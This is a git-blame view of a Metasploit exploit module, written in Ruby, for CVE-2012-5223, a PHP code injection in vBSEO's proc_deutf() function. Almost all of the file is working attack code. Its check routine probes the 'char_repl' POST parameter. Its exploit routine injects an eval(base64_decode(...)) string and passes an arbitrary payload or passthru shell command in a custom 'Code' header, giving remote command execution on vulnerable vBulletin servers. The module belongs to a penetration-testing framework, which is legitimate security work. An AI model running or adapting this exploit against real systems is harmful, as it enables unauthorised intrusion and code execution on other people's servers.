Files
metasploit-gs/modules/exploits/multi/http/vbseo_proc_deutf.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

92 lines
2.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-01-31 20:43:32 -06:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'vBSEO proc_deutf() Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability in the 'proc_deutf()' function
defined in /includes/functions_vbseocp_abstract.php for vBSEO versions
3.6.0 and earlier. User input passed through 'char_repl' POST parameter
isn't properly sanitized before being used in a call to preg_replace()
function which uses the 'e' modifier. This can be exploited to inject
and execute arbitrary code leveraging the PHP's complex curly syntax.
},
'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
'License' => MSF_LICENSE,
'References' =>
[
2018-07-08 18:46:04 -05:00
['CVE', '2012-5223'],
['OSVDB', '78508'],
['BID', '51647'],
2012-10-23 21:02:09 +02:00
['EDB', '18424']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 8190,
'Keys' => ['php'],
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-01-23',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
OptString.new('CMD', [false, "Command to execute"])
])
end
2013-08-30 16:28:54 -05:00
def check
flag = rand_text_alpha(rand(10)+10)
data = "char_repl='{${print(#{flag})}}'=>"
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], 'vbseocp.php')
2013-08-30 16:28:54 -05:00
response = send_request_cgi({
'method' => "POST",
'uri' => uri,
'data' => data
})
2013-08-30 16:28:54 -05:00
if response.code == 200 and response.body =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
end
2013-08-30 16:28:54 -05:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
def exploit
if datastore['CMD']
p = "passthru(\"%s\");" % datastore['CMD']
p = Rex::Text.encode_base64(p)
else
p = Rex::Text.encode_base64(payload.encoded)
end
2013-08-30 16:28:54 -05:00
data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], 'vbseocp.php')
2013-08-30 16:28:54 -05:00
response = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'data' => data,
'headers' => { 'Code' => p }
})
2013-08-30 16:28:54 -05:00
2012-02-21 23:45:25 -06:00
vprint_status("Server replied with #{response ? response.code : "nothing"}")
end
2012-01-31 07:06:33 -06:00
end